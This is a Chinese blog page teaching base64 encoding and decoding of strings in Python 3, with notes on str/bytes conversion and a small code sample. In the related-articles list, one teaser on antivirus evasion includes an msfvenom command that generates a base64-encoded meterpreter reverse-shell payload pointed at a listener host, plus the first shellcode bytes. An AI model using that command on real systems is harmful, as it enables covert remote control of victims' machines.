python3 字符串base64编码

摘要:
在一些项目中,接口消息被加密并通过base64传输。因此,在接口自动化过程中,需要对传输的参数进行base64编码,并对获得的响应消息进行解码;Str--Str(加密后)--Str(解密)Python 2将字符串作为原生字节而不是unicode进行处理。Python 3中的所有字符串都是unicode类型。

在一些项目中,接口的报文是通过base64加密传输的,所以在进行接口自动化时,需要对所传的参数进行base64编码,对拿到的响应报文进行解码;

str(源字符串)--str(加密后)--str(解密)

Python 2 将 strings 处理为原生的 bytes 类型,而不是 unicode,
Python 3 所有的 strings 均是 unicode 类型。
b64encode函数的参数为byte类型,所以必须先编码


str 与 bytes 之间的类型转换如下:
str ⇒ bytes:bytes(s, encoding='utf8')
bytes ⇒ str:str(b, encoding='utf-8')
此外还可通过编码解码的形式对二者进行转换
str 编码成 bytes 格式:str.encode(s)
bytes 格式编码成 str 类型:bytes.decode(b)



import base64

s = '代码'
es = base64.b64encode(s.encode('utf-8')).decode("utf-8")
print(es) # 5Luj56CB

ds = base64.b64decode(es.encode('utf-8')).decode("utf-8")
print(ds) # 代码

参考:
https://blog.csdn.net/A18373279153/article/details/88991929
https://www.cnblogs.com/zanjiahaoge666/p/7242642.html
https://www.cnblogs.com/kanneiren/p/9981084.html

免责声明:文章转载自《python3 字符串base64编码》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Python之地理信息可视化——matplot basemap工具箱Nginx Rewrite域名及资源重定向下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

升级openssl 支持TLS1.2

升级openssl 支持TLS1.2 支持TLS1.2 背景: 现在许多网站,都要求tls1.2协议以上,像github、 pip3安装包网站https://pip.pypa.io/等。 openssl现有版本不支持。需要升级openssl。 git 底层使用curl库,curl库又调用的libopenssl库。 如果希望git支持tls1.2,需要更新c...

澄清VB调用API时字符串参数的困惑

声明:本文部分内容来源于网络! 首先,我认为这样花费精力去研究VB调用API字符串的种种猫腻是很有必要的。本着严谨和发现问题与解决问题的原则,和为了能更好的认识问题的本质,我特写了这篇冗长的讨论。网上有很多关于此的讨论,但比较杂乱,目的不明确,也很难懂。在此也就是做个总结吧!让大家能有一个清楚认识。 我的问题是从调用内存API时参数的ByVal VarPt...

TCP/IP网络编程系列之三(初级)

TCP/IP网络编程系列之三-地址族与数据序列 分配给套接字的IP地址和端口 IP是Internet Protocol (网络协议)的简写,是为首发网络数据而分配给计算机的值。端口号并非赋予计算机值,而是为了区分程序中创建的套接字而分配给套接字的序号。 网络地址 网络地址分为IPV4和IPV6,分别你别为4个字节地址簇和6个字节地址簇。IPV4标准的4个字...

利用Python进行Payload分离免杀

缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c    将payload给copy下来,去除引号。 x2fx4fx69x43x41x4...

处理 json数据,base64合成图片

Main.java package cleandata; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.util.concurrent.LinkedBlockingQueue; public class Main {...

字符集编码 定长与变长

☯,首先,这并不是图片,这是一个unicode字符,Yin Yang,即阴阳符,码点为U+262F。如果你的浏览器无法显示,可以查看这个链接http://www.fileformat.info/info/unicode/char/262f/index.htm。这与我们要讨论的主题有何关系呢?下面我会谈到。 连续式表示带来的分隔难题 计算机的底层表示 在计...